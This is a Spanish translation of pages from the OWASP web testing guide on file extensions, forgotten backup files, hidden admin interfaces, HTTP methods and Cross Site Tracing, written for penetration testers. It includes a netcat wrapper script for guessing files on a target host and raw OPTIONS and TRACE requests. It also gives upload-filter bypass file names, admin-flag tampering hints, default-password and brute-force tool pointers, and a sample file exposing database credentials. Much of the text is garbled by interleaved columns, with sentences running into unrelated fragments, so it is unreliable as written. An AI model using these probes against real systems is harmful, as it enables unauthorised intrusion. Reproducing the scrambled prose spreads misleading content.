extensiones de archivo estndar proporciona al evaluador de penetracin variaciones en la configuracin de los servidores web o de aplicaciones
la informacin til sobre las tecnologas subyacentes que se utilizan en individuales . Esto puede suceder si la arquitectura web emplea
una aplicacin web y simplifica enormemente la tarea de determinar el tecnologas heterogneas (piense en un conjunto de servidores web IIS y
escenario de ataque a usar para estas tecnologas en particular. Adems, Apache en una configuracin de balanceo de carga, que puede presentar
un error de configuracin de los servidores web fcilmente podra revelar leves comportamientos asimtricos entre ellos y posiblemente diferentes
informacin confidencial sobre las credenciales de acceso. vulnerabilidades).
El control de extensiones a menudo se utiliza para validar los archivos Ejemplo:

que sern cargados, que pueden conducir a resultados inesperados

78
El evaluador ha identificado la existencia de un archivo llamado algunos ejemplos, ya que las extensiones de archivo son demasiadas para
connection.inc. Tratar de acceder a l directamente le devuelve su tratarlas exhaustivamente aqu. Refirase a http://filext.com/ para ver
contenido: una base de datos ms completa de las extensiones.
<?
Para identificar los archivos con una extensin en particular, puede
mysql_connect(127.0.0.1, root, )
emplearse una mezcla de tcnicas. Estas tcnicas pueden incluir
escneres de vulnerabilidad, herramientas de robots araa (spidering) y
or die(Could not connect);
de reflejo,
?>
inspeccin manual de la aplicacin (esto supera las limitaciones del uso
de robots araa automticos), consultar motores de bsqueda (ver
El evaluador determina la existencia de un MySQL DBMS de acceso
pruebas: spidering y googling). Vea tambin pruebas de archivos viejos,
restringido y las credenciales (dbiles) que utiliza la aplicacin web para
de copia de seguridad y archivos no referenciados que abordan los
acceder a ella.
problemas de seguridad relacionados con los archivos "olvidados".
Las siguientes extensiones de archivo nunca deben ser devueltas por un

archivos que pueden
servidor web, ya que estn relacionadas a
contener informacin sensible o archivos que no deben Carga de archivos
ser entregados.
El manejo de archivos de legado de Windows 8.3 puede, a veces, ser usado
para derrotar los filtros de carga de archivos.
.asa
.inc Ejemplos de uso:
file.phtml gets processed as PHP code

Las siguentes extensiones de archivos se relacionan con archivos que,
cuando se acceden, pueden ser visualizados o descargados por el
navegador. Por lo tanto, los archivos con estas extensiones deben
comprobarse para verificar que, de hecho, estas deben ser entregadas (y FILE~1.PHT is served, but not processed by the PHP ISAPI handler
no son residuos), y que no contienen informacin sensible.
shell.phPWND can be uploaded

.zip, .tar, .gz, .tgz, .rar, ...: archivos de almacenaje (Comprimidos)
.java: No hay razn para permitir el accceso a archivos de fuentes Java

SHELL~1.PHP will be expanded and returned by the OS shell, then
.txt: archivos de texto processed by the PHP ISAPI handler
.pdf: documentos PDF
.doc, .rtf, .xls, .ppt, ...: documentos de Office

.bak, .extensiones viejas u otras extensiones de iniciativa de archivos de
respaldo (por ejemplo: ~ archivos de respaldo para Emacs) Realizar pruebas de Caja Gris contra el manejo de los archivos de extensiones
para revisar las configuraciones de servidores web o servidores de
aplicaciones que participan en la arquitectura de aplicaciones web, y
comprobar cmo son instruidos para entregar diferentes extensiones de
La lista de detalles mencionados anteriormente son slo archivo.

79
Si la aplicacin web se basa en una infraestructura heterognea con equilibrio credenciales para conectarse a la interfaz administrativa o al servidor de
de carga, la misma determina si esta puede presentar un comportamiento base de datos.
diferente.
Una fuente importante de vulnerabilidades se encuentra en los archivos

Herramientas que no tienen nada que ver con la aplicacin, pero se crean como
consecuencia de la edicin de archivos de la aplicacin, o despus de
Los escneres de vulnerabilidad, tales como Nessus y Nikto, comprueban la crear copias de seguridad "al vuelo" o dejando en el rbol de la red viejos
existencia de directorios web conocidos. Pueden permitir que el evaluador archivos del rbol o archivos no referenciados. Realizar ediciones "en el
descargue la estructura del sitio web, lo cual es til cuando se intenta sitio" u otras acciones administrativas en servidores web en produccin
determinar la configuracin de los directorios web y cmo son atendidas las sin darse cuenta puede dejar copias de seguridad, ya sean generadas
extensiones de archivo individuales. Otras herramientas que pueden utilizarse automticamente por el editor mientras se editan archivos, o por el
para este propsito incluyen: administrador quien est comprimiendo un conjunto de archivos para
crear una copia de seguridad.
wget - gnu.org
Es fcil olvidar este tipo de archivos y esto puede plantear una amenaza
curl - curl.haxx.se
seria a la aplicacin. Eso sucede porque se pueden generar copias de
seguridad con extensiones de archivo diferentes a las de los archivos
google for web mirroring tools.
originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...)
obviamente tiene una extensin diferente, y lo mismo ocurre con las
copias automticas creadas por muchos editores (por ejemplo, emacs
genera una copia de seguridad denominada archivo~ al editar el archivo).
Revise archivos viejos, copias de seguridad y Hacer una copia a mano puede producir el mismo efecto (piensa en
copiar file a file.old). El sistema de archivo subyacente, en el cual se
archivos no referenciados en busca de encuentra la aplicacin, podra estar tomando "instantneas" de su
informacin sensible (OTG-CONFIG-004) aplicacin en diferentes puntos en el tiempo sin su conocimiento, y
tambin pueden ser accesibles a travs de la web. Estas representan una
Resumen amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de
su aplicacin.
Mientras que la mayora de los archivos en un servidor web son
manejados directamente por el servidor, no es raro encontrar archivos no
referenciados u olvidados que pueden utilizarse para obtener
informacin importante acerca de la infraestructura o las credenciales. Como resultado, estas actividades generan archivos que no son
necesarios para la aplicacin y pueden ser tratados de manera distinta al
archivo original por el servidor web. Por ejemplo, si hacemos una copia
de login.asp llamada login.asp.old, estamos permitiendo a los usuarios
Los escenarios ms comunes incluyen la presencia de viejas versiones descargar el cdigo de login.asp. Esto es porque login.asp.old ser
renombradas de archivos modificados, archivos de inclusin que se atendido normalmente como texto simple, en lugar de ser ejecutado
cargan debido a su extensin. En otras palabras, acceder a login.asp causa la
ejecucin del cdigo de login.asp, mientras que acceder a login.asp.old
causa que el contenido de login.asp.old (que es, otra vez, el cdigo del
lado del servidor) se entregue simplemente al usuario y se muestre en el
en el idioma de su preferencia y pueden ser descargados como fuente, o evaluador. Esto puede plantear riesgos de seguridad, dado que
incluso copias de seguridad manuales o automticas o en forma de informacin confidencial puede ser revelada.
archivos comprimidos. Los archivos de copias de seguridad tambin
pueden ser generados automticamente por el sistema de archivos
subyacente donde se aloja la aplicacin, una caracterstica que se conoce
generalmente como "instantneas". En general, exponer el cdigo del lado del servidor es una mala idea. No
slo est usted innecesariamente exponiendo la lgica del negocio, sino
que, sin saberlo, usted puede estar develando informacin relacionada
con la aplicacin, lo que puede ayudar a un atacante (nombres de ruta de
Todos estos archivos podrn conceder acceso al evaluador a trabajos acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay
internos, puertas traseras, interfaces administrativas o incluso muchos scripts que tienen incrustado el usuario y contrasea en texto
claro (que es una prctica imprudente y muy peligrosa).

80
En algunos casos, copiar o editar un archivo no modifica la extensin del archivo,

pero modifica el nombre del archivo. Esto sucede, por ejemplo, en ambientes
Otras causas de archivos no referenciados se deben al diseo o Windows, donde las operaciones de copia de archivos generan nombres de archivo
configuracin de opciones cuando permiten que diversos tipos de con el prefijo "Copia de" o versiones localizadas de esta secuencia. Puesto que la
archivos relacionados con la aplicacin como archivos de datos, archivos extensin de archivo se queda sin cambios, este no es un caso en que un archivo
de configuracin, archivos de registro se almacenen en directorios del ejecutable es devuelto como texto plano por el servidor web y, por lo tanto, no es
sistema de archivo a los que se puede acceder por el servidor web. Estos un caso de revelacin de cdigo fuente. Sin embargo, estos archivos tambin son
archivos normalmente no tienen ninguna razn para estar en un espacio peligrosos porque existe la posibilidad de que incluyan lgica obsoleta e incorrecta
del sistema de archivo que se podra acceder va web, ya que deben que, si es invocada, podra provocar errores de aplicacin que podran dar
accederse informacin valiosa a un atacante si est habilitada la pantalla de mensaje de
diagnstico.
Los archivos de registro pueden contener informacin sensible acerca de las

solamente desde el nivel de la aplicacin, por la propia aplicacin (y no actividades de los usuarios de la aplicacin, por ejemplo, datos de parmetros URL,
por el usuario casual que est navegando). Identificador de Sesin, URL visitadas (que pueden revelar contenido sin referencia
adicional), etc.. Otros archivos de registro (por ejemplo registros ftp) pueden
contener informacin confidencial sobre el mantenimiento de la aplicacin por los
administradores del sistema.
Amenazas
Las instantneas de archivos del sistema pueden contener copias del cdigo que
Archivos viejos, copias de seguridad y los archivos no referenciados contienen vulnerabilidades que han sido corregidas en las versiones ms recientes.
presentan varias amenazas a la seguridad de una aplicacin web: Por ejemplo /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de
salto de directorio que se ha fijado en /view.php, pero todava puede ser explotada
por cualquier persona que encuentre la versin antigua.
Los archivos no referenciados pueden revelar informacin sensible que puede

facilitar un ataque focalizado contra la aplicacin; por ejemplo, incluir los archivos
que contienen las credenciales de la base de datos, archivos de configuracin que
contienen referencias a otros contenidos ocultos, rutas de archivo absolutas, etc.
Cmo probar
Las pginas no referenciadas pueden contener funcionalidad poderosa que puede
utilizarse para atacar la aplicacin; por ejemplo, una pgina de administracin que Prueba de Caja Negra
no est ligada desde el contenido publicado, pero a la que puede acceder cualquier
usuario que sepa dnde se encuentra. Probar en busca de archivos no referenciados utiliza tanto tcnicas
automticas como manuales y normalmente consiste en una combinacin
Los archivos viejos y copias de seguridad pueden contener vulnerabilidades que de los siguientes:
han sido corregidas en las versiones ms recientes; por ejemplo, viewdoc.old.jsp
puede contener una vulnerabilidad de salto de directorio que se ha arreglado en
viewdoc.jsp pero todava puede ser explotada por cualquier persona que encuentre
la versin antigua. Inferencia desde el esquema de nombres, utilizado para el contenido
publicado
Enumere todas las pginas y funcionalidades de la aplicacin. Esto puede

Los archivos de copias de seguridad pueden revelar el cdigo fuente de pginas hacerse manualmente, usando un navegador o utilizando una
diseadas para ejecutarse en el servidor; por ejemplo, viewdoc.bak que puede herramienta de spidering. La mayora de las aplicaciones utiliza un
entregar el cdigo fuente de viewdoc.jsp. Estos archivos pueden ser revisados en esquema de nombres reconocibles y organiza recursos en pginas y
busca de vulnerabilidades que pueden ser dificiles de encontrar haciendo peticiones directorios usando palabras que describen su funcin. Desde el esquema
ciegas a la pgina ejecutable. Aunque esta amenaza obviamente aplica a lenguajes de nombres utilizado para el contenido publicado, a menudo es posible
de scripts, como Perl, PHP, ASP, shell scripts, JSP, etc., no se limita a estos, como inferir el nombre y la ubicacin de los pginas no referenciadas. Por
se muestra en el ejemplo proporcionado en la siguiente vieta. ejemplo, si encuentra una pgina viewuser.asp, entonces busque tambin
edituser.asp, adduser.asp y deleteuser.asp. Si encuentra un directorio
Los archivos de copias de seguridad pueden contener copias de todos los archivos /app/user, entonces busque tambin /app/admin y /app/manager.
dentro (o incluso fuera) de la raiz (webroot). Esto permite a un atacante enumerar
rpidamente toda la aplicacin, incluyendo las pginas no referenciadas, cdigos
fuente, archivos incluidos, etc.. Por ejemplo, si se olvida un archivo llamado
myservlets.jar.old que contiene (una copia de seguridad) las clases de su Otras pistas en los contenidos publicados
implementacin servlet, usted est exponiendo un gran cantidad de informacin
sensible que es susceptible a la descompilacin e ingeniera inversa.
81
Muchas aplicaciones web dejan pistas en los contenidos publicados, que

User-agent: *
pueden conducir al descubrimiento de pginas ocultas y su funcionalidad.
Estas pistas aparecen a menudo en el cdigo fuente de archivos HTML y
Disallow: /Admin
JavaScript. El cdigo fuente de todo el contenido publicado debe revisarse
manualmente para identificar pistas sobre otras pginas y su
Disallow: /uploads
funcionalidad. Por ejemplo:
Disallow: /backup
Disallow: /~jbloggs
Las secciones de comentarios y comentarios de eliminacin de los
programadores del cdigo fuente pueden referirse al contenido oculto: Disallow: /include

En su forma ms simple, esto incluye correr una lista de nombres de
archivo comunes a travs de un motor de solicitudes en un intento de
adivinar los archivos y directorios que existen en el servidor. El siguiente
script de envoltura de netcat leer una lista de palabras desde stdin y
realizar un ataque de conjetura bsico:
JavaScript puede contener enlaces a pginas que slo se procesan dentro

del GUI de usuario bajo ciertas circunstancias:
#!/bin/bash
var adminUser=false;
:
server=www.targetapp.com
if (adminUser) menu.add (new menuItem (Maintain users,
/admin/useradmin.jsp)); port=80
while read url

Las pginas HTML pueden contener FORMs que han sido ocultadas por
deshabilitar el elemento SUBMIT: do
echo -ne $url\t
echo -e GET /$url HTTP/1.0\nHost: $server\n | netcat $server $port |

head -1
done | tee outputfile
Dependiendo del servidor, GET puede ser reemplazado con HEAD para
tener resultados ms rpidos. El archivo de salida especificado puede
usar la aplicacin grep para obtener los cdigos de respuesta
"interesantes". El cdigo de respuesta 200 (OK) normalmente indica que
se ha encontrado un recurso vlido (siempre y cuando el servidor no
Otra fuente de pistas sobre los directorios no referenciados es el archivo de
entregue una pgina personalizada de "no encontrada"(not found) con el
/robots.txt utilizado para dar instrucciones a los robots de la web:
cdigo 200). Pero tambin 302 (Found), 401 (Unauthorized), 403
(Forbidden) y 500 (Internal error), que tambin pueden indicar recursos
o directorios que son dignos de una investigacin posterior.

82
Las pginas y la funcionalidad en aplicaciones web de cara al internet, que

no son referenciadas desde dentro de la propia aplicacin, pueden ser
El ataque de conjetura bsico se debe ejecutar contra la raz web referenciadas desde otras fuentes de dominio pblico. Hay varias fuentes
(webroot) y tambin contra todos los directorios que se han identificado de estas referencias:
a travs de otras tcnicas de enumeracin. Ataques de conjeturas ms
avanzados/eficaces pueden realizarse como se ve a continuacin:
Pginas que solan estar referenciadas todava pueden aparecer en los

archivos de los buscadores de Internet. Por ejemplo, 1998results.asp puede ya
Identifique las extensiones de archivo en uso dentro de las zonas conocidas no estar vinculada desde el sitio web de la empresa, pero puede permanecer en
de la aplicacin (por ejemplo, jsp, aspx, html) y use una lista bsica de el servidor y en las bases de datos de motores de bsqueda. Este viejo script
palabras con cada una de estas extensiones (o use una lista ms larga de puede contener vulnerabilidades que podran ser utilizadas para poner en
extensiones comunes si los recursos lo permiten). peligro todo el sitio. El sitio: Google search operator puede utilizarse para
ejecutar una consulta contra el dominio elegido, como en este caso: sitio:
Para cada archivo identificado a travs de otras tcnicas de enumeracin, www.example.com. Utilizar motores de bsqueda en esta forma ha dado lugar
cree una lista personalizada de palabras, derivada de ese nombre. Obtenga una a una amplia gama de tcnicas que pueden resultar tiles y que se describen en
lista de extensiones de archivo comunes (como ~, bak, txt, src, dev, old, inc, la seccin de esta gua de Google Hacking. Revselo para perfeccionar sus
orig, copy, tmp, etc.) y utilice cada extensin antes, despus y en vez de la habilidades de pruebas a travs de Google. Los archivos de copia de seguridad
extensin del nombre del archivo actual. no suelen ser referenciados por otros archivos y, por lo tanto, pueden no haber
sido indexados por Google, pero si se encuentran en directorios navegables, el
motor de bsqueda podra saber acerca de ellos.
Nota: Las operaciones de copia de archivos de Windows generan archivos Adems, Google y Yahoo mantienen versiones en cach de pginas
con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del
esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras servidor de destino, una versin de salida puede todava estar almacenada en
que los archivos "Copia de" (Copy of) tpicamente no revelan el cdigo estos motores de bsqueda. La versin en cach puede contener referencias o
fuente cuando se acceden, podran entregar informacin valiosa en caso pistas sobre contenido oculto adicional que permanece en el servidor.
de que provoquen errores cuando se les invoca.
El contenido que no est referenciado desde una aplicacin de destino puede
estar vinculado a sitios web de terceros. Por ejemplo, una aplicacin que
procesa los pagos en lnea a nombre de comerciantes externos puede contener
Informacin obtenida a travs de las vulnerabilidades y mala una variedad de funcionalidades hechas a la medida que pueden
configuracin (normalmente) slo se pueden encontrar (normalmente) siguiendo los enlaces
dentro de las pginas web de sus clientes.
La manera ms obvia en que un servidor mal configurado puede revelar
pginas no referenciadas es a travs del listado del directorio. Solicite
todos los directorios enumerados para identificar cualquiera que
proporcione un listado de directorios. Filtro de desvo del nombre del archivo
Debido a que los filtros de listas negras se basan en expresiones

regulares, a veces uno puede tomar ventaja de las caractersticas oscuras
de expansin del nombre de archivo de OS que trabajan de maneras no
esperadas por el desarrollador. A veces, el evaluador puede explotar las
Se han encontrado numerosas vulnerabilidades en servidores web diferencias en las formas en que los nombres de archivo son analizados
individuales, que permiten a un atacante enumerar los contenidos; por por la aplicacin, el servidor web y el sistema operativo subyacente y sus
ejemplo: convenciones de nombre de archivo.
Apache ?M=D directory listing vulnerability. Ejemplo: Expansin de nombre de archivo 8.3 de Windows "c:\program
files" se convierte "C:\PROGRA~1"
Various IIS script source disclosure vulnerabilities.
Remove incompatible characters
IIS WebDAV directory listing vulnerabilities.
Convert spaces to underscores
- Take the first six characters of the basename

Uso de informacin disponible para el pbico

83
Add ~<digit> which is used to distinguish files with names using the same six Para garantizar una estrategia de proteccin efectiva, la prueba debe
initial characters estar compuesta por una poltica de seguridad que especficamente
prohbe las prcticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions
Truncate file extension to three characters

Editar los archivos en el lugar del servidor web o sistemas de archivos
- Make all the characters uppercase del servidor de aplicaciones. Este es un mal hbito particular, ya que es
probable que, sin querer, los editores generen archivos de respaldo. Es
sorprendente ver que esto se hace frecuentemente, incluso en grandes
organizaciones. Si definitivamente necesita editar archivos en un sistema
Pruebas de Caja Gris en produccin, asegrese de no dejar atrs cualquier cosa que no est
explcitamente planificada y recuerde que lo est haciendo bajo su propio
Realizar pruebas de caja gris contra archivos viejos y copias de seguridad
riesgo.
requiere examinar los archivos contenidos en los directorios
pertenecientes Revise cuidadosamente cualquier otra actividad realizada en los
sistemas de archivos expuestos por el servidor web, como las actividades
al conjunto de directorios web, servidos por los servidores web de la
de la administracin en el punto. Por ejemplo, si usted necesita de vez en
cuando tomar una instantnea de un par de directorios (que no se debe
infraestructura de aplicaciones web. Tericamente, el examen se debe
hacer en un sistema en produccin), puede sentirse tentado a
realizar a mano para ser cuidadoso. Sin embargo, ya que en la mayora de
comprimirlos primero. Tenga cuidado de no dejar atrs esos archivos.
los casos las copias de archivos o archivos de copias de seguridad tienden
a crearse usando la misma terminologa; la bsqueda puede ser
Las polticas de gestin de configuracin apropiada deberan ayudar a
fcilmente secuenciada. Por ejemplo, los editores dejan copias de
no dejar por ah archivos obsoletos y sin referencia.
seguridad nombradas con un final o una extensin reconocible y los seres
humanos tienden a dejar archivos con un ".old" o similares extensiones Las aplicaciones deben ser diseadas para no crear (o depender de)
predecibles. Una buena estrategia es la de programar peridicamente un archivos almacenados debajo de los rboles de directorios web atendidos
trabajo de fondo comprobando archivos con extensiones que se por el servidor web. Los archivos de datos, archivos de registro, archivos
identifican como copia o copia de seguridad y efectuar comprobaciones de configuracin, etc. deben almacenarse en directorios no accesibles por
manuales en base a un mayor tiempo. el servidor web, para contrarrestar la posibilidad de divulgacin de
informacin (sin mencionar la modificacin de los datos si los permisos
del directorio web permiten escritura).
Herramientas
Las instantneas de sistema de archivos no deben ser accesibles a travs
de la web si la raz del documento es un sistema de archivos que utiliza
Las herramientas de evaluacin de vulnerabilidad tienden a incluir
esta tecnologa. Configure el servidor web para negar el acceso a dichos
verificaciones a directorios web que tienen nombres estndar (como admin,
directorios, por ejemplo, en apache una directiva de ubicacin como esta
test, backup, etc.) y a reportar cualquier directorio web que permite la
debera utilizarse:
indexacin. Si usted no puede conseguir un listado de directorios, debe
intentar comprobar extensiones de respaldo probables. Compruebe, por
ejemplo, Nessus (nessus.org), Nikto2(cirt.net) o su nuevo derivado Wikto <Location ~ .snapshot>
(sensepost.com), que tambin es compatible con Google hacking based
strategies. Order deny,allow
Las herramientas robot tipo araa: wget (gnu.org, interlog.com); Sam Spade Deny from all
(samspade.org); Spike Proxy incluyen una funcin de rastreador del sitio web
(immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de </Location>
ellos tambin se incluyen en las distribuciones estndar de Linux.
Las herramientas de desarrollo web suelen incluir instalaciones para

identificar los enlaces rotos y los archivos no referenciados.
Infraestructura de Enumeracin e Interfaces de
Administracin de Aplicaciones (OTG-
CONFIG-005)
Remediacin
Resumen
84
Las interfases del administrador se pueden presentar en la aplicacin o enviadas al cliente, enlaces a las funcionalidades de administrador, pueden
en el servidor de aplicaciones para permitir que determinados usuarios descubrirse y deben investigarse.
puedan llevar a cabo actividades privilegiadas en el sitio. Se deben
realizar pruebas para revelar s y cmo esta funcionalidad privilegiada
puede ser accesada por un usuario no autorizado o estndar.
Revisar el servidor y la documentacin de aplicaciones. Si el servidor de
aplicaciones o la aplicacin se implementa en su configuracin por defecto, es
posible acceder a la interfaz de administracin con la informacin descrita
Una aplicacin puede requerir una interfaz de administrador para
habilitar un usuario con privilegios con acceso a funciones que pueden
realizar cambios de cmo funciona el sitio. Tales cambios pueden incluir:
en la documentacin de configuracin o ayuda. Las listas de contraseas por
defecto deben consultarse si se encuentra una interfaz administrativa y se requieren
credenciales.
Provisionamiento de cuentas de usuario
Informacin disponible para el pblico p. Muchas aplicaciones como wordpress
Diseo y diagramacin del sitio tienen interfaces administrativas por defecto.
Manipulacin de datos Puerto de servidor alternativo. Las interfaces de administracin pueden ser
encontradas en un puerto diferente en el host de la aplicacin principal. Por
Cambios en la configuracin ejemplo, a menudo puede verse la interfaz de administracin de Apache Tomcat en
el puerto 8080.
Alteracin de parmetros. Un parmetro GET o POST o una variable de cookie

En muchas instancias, dichas interfaces no tienen suficientes controles puede ser requerida para habilitar la funcionalidad de administrador. Pistas para
para protegerlas de accesos no autorizados. La prueba est dirigida a esto incluyen la presencia de campos ocultos tales como:
descubrir estas interfaces de administrador y acceder a funcionalidades
para estos usuarios privilegiados.
<input type=hidden name=admin value=no>
Cmo Probar
En la siguiente seccin se describen vectores que pueden utilizarse para o en una cookie:
probar la presencia de interfaces administrativas. Estas tcnicas tambin
pueden utilizarse para probar temas relacionados que incluyen la Cookie: session_cookie; useradmin=0
elevacin de privilegios y se describen en otros sitios de esta gua (por
ejemplo Pruebas para eludir el esquema de autorizacin (OTG-AUTHZ-
002) y Pruebas de referencias de objetos directos inseguros (OTG-
AUTHZ-004) en mayor detalle.
Una vez que se ha descubierto una interfaz administrativa, puede

utilizarse una combinacin de las tcnicas anteriores para intentar eludir
Enumeracin de archivos y directorios. Una interfaz administrativa puede estar la autenticacin. Si esto falla, el evaluador podra intentar un ataque
presente, pero no visiblemente disponible para el evaluador. Intentar adivinar la forzado. En tal caso, el evaluador debe estar consciente de la posibilidad
trayectoria de la interfaz administrativa puede ser tan simple como solicitar: /admin de bloqueo de la cuenta administrativa si dicha funcionalidad est
o /administrator etc... o, en algunos casos, pueden ser revelados en segundos presente.
utilizando Google dorks.
Existen muchas herramientas disponibles para forzar el contenido del servidor.

Consulte la seccin de herramientas a continuacin para obtener ms informacin. Pruebas de Caja Gris
* Un evaluador puede tener que identificar tambin el nombre del archivo de la
pgina de administracin. Navegar hacia la pgina identificada, a la fuerza, puede Debe realizar un examen ms detallado de los componentes del servidor
proporcionar acceso a la interfaz. y de la aplicacin para asegurarse de la fortaleza (es decir, las pginas de
administrador no son accesibles a todo el mundo mediante el uso de
Comentarios y vnculos en el cdigo fuente. Muchos sitios utilizan un cdigo filtros IP u otros controles) y, en ciertos casos, verificar que todos los
comn, cargado para todos los usuarios del sitio. Examinando todas las fuentes componentes no usan credenciales o configuraciones por defecto.

85
Aunque GET y POST son los mtodos ms comunes que se utilizan para
acceder a la informacin proporcionada por un servidor web, el protocolo
El cdigo fuente debe ser revisado para asegurar que el modelo de de transferencia de hipertexto (HTTP) permite varios otros mtodos( y
autorizacin y autenticacin garantiza la separacin clara de funciones algunos menos conocidos). RFC 2616 (que describe al HTTP versin 1.1
entre los usuarios normales y los administradores. Las funciones de la que es el estndar hoy en da) define los siguientes ocho mtodos:
interfaz de usuario compartidas entre usuarios normales y
administradores deben ser revisadas para garantizar una separacin
clara entre el dibujo de dichos componentes y la informacin que puede
fugarse de tal funcionalidad. HEAD
GET
Herramientas POST
PUT
Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran DELETE
herramienta para forzar directorios y archivos en el servidor.
TRACE
THC-HYDRA es una herramienta que permite forzar muchas interfaces,
incluyendo la autenticacin HTTP basada en formularios. OPTIONS
Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el CONNECT
diccionario de netsparker.
Algunos de estos mtodos pueden plantear un potencial riesgo de

Referencias seguridad para una aplicacin web, ya que permiten a un atacante
modificar los archivos almacenados en el servidor web y, en algunos
escenarios, roban las credenciales de usuarios legtimos. Ms
concretamente, los mtodos que deben deshabilitarse son los siguientes:
Lista de contraseas por defecto: governmentsecurity.org
PUT: Este mtodo permite a un cliente subir nuevos archivos en el

Lista de contraseas por defecto: cirt.net servidor web. Un atacante puede explotarlo subiendo archivos maliciosos
(por ejemplo: un archivo asp que ejecuta los comandos invocando el
cmd.exe), o simplemente usando el servidor de la vctima como un
deposito de archivos.
Pruebe los mtodos HTTP (OTG-CONFIG- DELETE: Este mtodo permite a un cliente eliminar un archivo en el
006) servidor web. Un atacante puede explotarlo como una forma muy simple
y directa para modificar un sitio web o para montar un ataque DoS.
Resumen CONNECT: Este mtodo podra permitir a un cliente utilizar el servidor

web como un proxy.
HTTP ofrece una serie de mtodos que pueden utilizarse para realizar
acciones en el servidor web. Muchos de los mtodos estn diseados para
TRACE: Este mtodo simplemente hace eco al cliente de cualquier
cadena que ha sido enviada al servidor y se utiliza principalmente para
propsitos de depuracin. Este mtodo, originalmente asumido como
inofensivo, puede usarse para un ataque conocido como Rastreo de Sitios
ayudar a los desarrolladores a implementar y probar aplicaciones HTTP.
Cruzados (Cross Site Tracing), que ha sido descubierto por Jeremiah
Estos mtodos HTTP pueden utilizarse para fines malvados si el servidor
Grossman (vea los enlaces en la parte inferior de la pgina).
web est mal configurado. Adems, el Cross Site Tracing (XST), una forma
de escritura de sitios cruzados que utiliza el mtodo TRACE del servidor
HTTP, es examinado.
Si una aplicacin necesita uno o ms de estos mtodos, tales como los
servicios Web REST (que puede requerir de PUT o DELETE), es
86
importante verificar que su uso est debidamente limitado a usuarios de

$ nc www.victim.com 80
confianza y condiciones de seguridad.
OPTIONS / HTTP/1.1
Host: www.victim.com
Mtodos HTTP Arbitrarios
Arshan Dabirsiaghi (ver enlaces) descubri que muchos frameworks de

aplicacin web permitan mtodos HTTP bien elegidos o arbitrarios para
HTTP/1.1 200 OK
evitar un control de acceso a nivel del ambiente:
Date: Tue, 31 Oct 2006 08:00:29 GMT

Muchos frameworks y lenguajes tratan "HEAD" como una peticin de "GET",
aunque sin ningn cuerpo en la respuesta. Si una restriccin de seguridad fue
Connection: close
establecida en las peticiones de "GET" que slo los "authenticatedUsers" o usuarios
autenticados podran acceder a solicitudes GET para un recurso o un servlet en Allow: GET, HEAD, POST, TRACE, OPTIONS
particular, sera evitado con la versin de "HEAD". Esto permiti la sumisin ciega
y sin autorizacin de cualquier solicitud GET privilegiada.
Algunos frameworks permiten mtodos HTTP arbitrarios como "JEFF" o

"CATS" para que sean utilizados sin lmite. Estos fueron tratados como si
Como podemos ver en el ejemplo, OPTIONS proporciona una lista de los
mtodos admitidos por el servidor web, y en este caso podemos ver que
el mtodo TRACE est habilitado. El peligro que plantea este mtodo se
un mtodo "GET" fuera emitido y resultaron no ser sujetos a un control de acceso ilustra en la siguiente seccin.
basado en el mtodo de roles en varios idiomas y frameworks, otra vez, lo que
permite una sumisin ciega sin autorizacin a peticiones GET privilegiadas.
Pruebe el potencial XST
En muchos casos, el cdigo que comprueba explcitamente un mtodo Nota: para entender la lgica y los objetivos de este ataque, uno debe
"GET" o "POST" sera seguro. estar familiarizado con los ataques de Cross Site Scripting.
Cmo Probar El mtodo TRACE, aunque aparentemente inofensivo, se puede

aprovechar con xito en algunos escenarios para robar credenciales de
Descubra los Mtodos Soportados usuarios legtimos. Esta tcnica de ataque fue descubierta por Jeremiah
Grossman en el 2003, en un intento de eludir la etiqueta HttpOnly que
Para realizar esta prueba, el evaluador necesita alguna manera de Microsoft introdujo en Internet Explorer 6 SP1 para proteger las cookies
averiguar qu mtodos HTTP son compatibles con el servidor web que de ser accesibles mediante JavaScript. De hecho, uno de los patrones de
est siendo examinado. El mtodo de OPTIONS HTTP (opciones HTTP) ataque ms recurrentes del Cross Site Scripting es tener acceso al objeto
proporciona al evaluador la forma ms directa y efectiva de hacerlo. RFC document.cookie y enviarlo a un servidor web controlado por el atacante
2616 afirma que "el mtodo de OPTIONS representa una solicitud de para que l o ella pueda secuestrar la sesin de la vctima. Etiquetaruna
informacin sobre las opciones de comunicacin disponibles en la cadena cookie como HttpOnly prohbe a JavaScript acceder a la misma,
de solicitud/respuesta identificada por el URL solicitado". protegindola de ser enviada a un tercero. Sin embargo, puede utilizarse
el mtodo TRACE para saltarse esta proteccin y acceder a la cookie en
este escenario.
El mtodo de prueba es muy sencillo y slo necesitamos iniciar netcat (o

telnet):
Como se mencion anteriormente, TRACE simplemente devuelve
cualquier cadena que se enva al servidor web. Para verificar su presencia
(o para comprobar los resultados de la solicitud de OPTIONS que se
muestra arriba), el evaluador puede proceder como se muestra en el
ejemplo siguiente:

87
Aprovechando otra vulnerabilidad del lado del servidor: el atacante inyecta el

fragmento hostil de JavaScript que contiene la peticin TRACE en la aplicacin
vulnerable, como en un ataque normal de Cross Site Scripting.
Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio
$ nc www.victim.com 80
web malicioso que contiene el fragmento del cdigo hostil de JavaScript y
aprovecha alguna vulnerabilidad entre dominios del navegador de la vctima ,
TRACE / HTTP/1.1
para que el cdigo JavaScript pueda realizar con xito una conexin con el sitio
que soporta el mtodo TRACE y que origin la cookie que el atacante est
Host: www.victim.com
tratando de robar.
HTTP/1.1 200 OK
Informacin ms detallada, junto con ejemplos de cdigo, puede
encontrarse en el documento original escrito por Jeremiah Grossman.
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close Pruebas de mtodos HTTP arbitrarios
Content-Type: message/http Encuentre una pgina para visitar que tenga una restriccin de seguridad
que normalmente obligara una redireccin 302 hacia una pgina de
Content-Length: 39 registro o fuerce un registro directamente. La URL de la prueba en este
ejemplo funciona as, como lo hacen muchas aplicaciones web. Sin
embargo, si un evaluador obtiene una respuesta "200" que no es una
pgina de registro, es posible eludir la autenticacin y autorizacin.
